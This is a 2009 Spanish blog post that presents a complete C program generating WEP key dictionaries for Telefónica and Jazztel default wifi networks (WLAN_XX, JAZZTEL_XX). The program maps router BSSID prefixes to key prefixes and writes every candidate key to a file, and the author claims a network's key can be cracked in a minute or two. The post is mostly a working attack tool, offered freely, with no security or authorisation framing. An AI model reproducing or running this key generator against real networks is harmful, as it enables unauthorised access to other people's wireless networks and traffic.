martes, 2 de junio de 2009

WEP Cracking

He escrito este pequeño programa en C que puede que en algún momento le sea de utilidad a alguien. Es un generador de diccionarios para "crackear" las redes wifi de Telefónica y Jazztel. Vamos esas que tienen por nombre "WLAN_XX" o "JAZZTEL_XX". El "algoritmo" (si se le puede llamar así) lo encontré por Internet y es realmente muy sencillo.

En principio es posible conseguir la clave de una de estas redes en cuestión de minutos, vamos, de uno o dos minutos.

El código es bastante chapucero, está escrito en C'99 y debería de compilar en cualquier compilador de C. Si alguien tiene sugerencias, dudas o lo que sea que pregunte ;). El código va sin licencia así que se puede considerar de dominio público., después de todo seguro que buscando por Internet hay mil cosas parecidas, pero estaba ocioso y lo escribí.

Código:

/* Generador de passwords para redes Imagenio y Jazztel *
* junio 2009 *
* v: 0.1 *
* a: tquimico */


#include <stdio.h>
#include <string.h>

void detect_router(char *bssid, char t, char *router) {
switch(t)
{
case 'J':
strcpy(router,"E001D20");
break;
default:
if (strncmp(bssid,"00:01:38",8) == 0)
strcpy(router,"X000138");
else if (strncmp(bssid,"00:03:C9",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:16:38",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:03:DA",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:19:15",8) == 0)
strcpy(router,"C0030DA");
else if (strncmp(bssid,"00:1A:2B",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:1D:20",8) == 0)
strcpy(router,"C001D20");
else if (strncmp(bssid,"00:60:B3",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:A0:C5",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:13:49",8) == 0)
strcpy(router,"Z001349");
else if (strncmp(bssid,"00:02:CF",8) == 0)
strcpy(router,"Z0002CF");
else if (strncmp(bssid,"00:19:CB",8) == 0)
strcpy(router,"Z0002CF");
}
return;
}

int main(int argc, char *argv[]) {

if (argc != 4) {
printf("l33t boy ;)\n");
printf("usage: keygen BSSID ESSID FILE\n");
return 1;
}

char router[8];
int n = strlen(argv[2]);
char operador = argv[2][0];

FILE *fp;

if ((fp = fopen(argv[3], "w")) == NULL) {
printf("Can't open file\n");
return 1;
}

detect_router(argv[1], operador, router);

int i;
for (i = 0 ; i < 65536 ; i++) {
fprintf(fp, "%s%04X",router,i);
fputc(argv[2][n-2],fp);
fputc(argv[2][n-1],fp);
fputc('\n',fp);
}
fclose(fp);

return 0;
}

Actualización: añadido el "{" que faltaba y blogger se comió. Gracias Bakalito.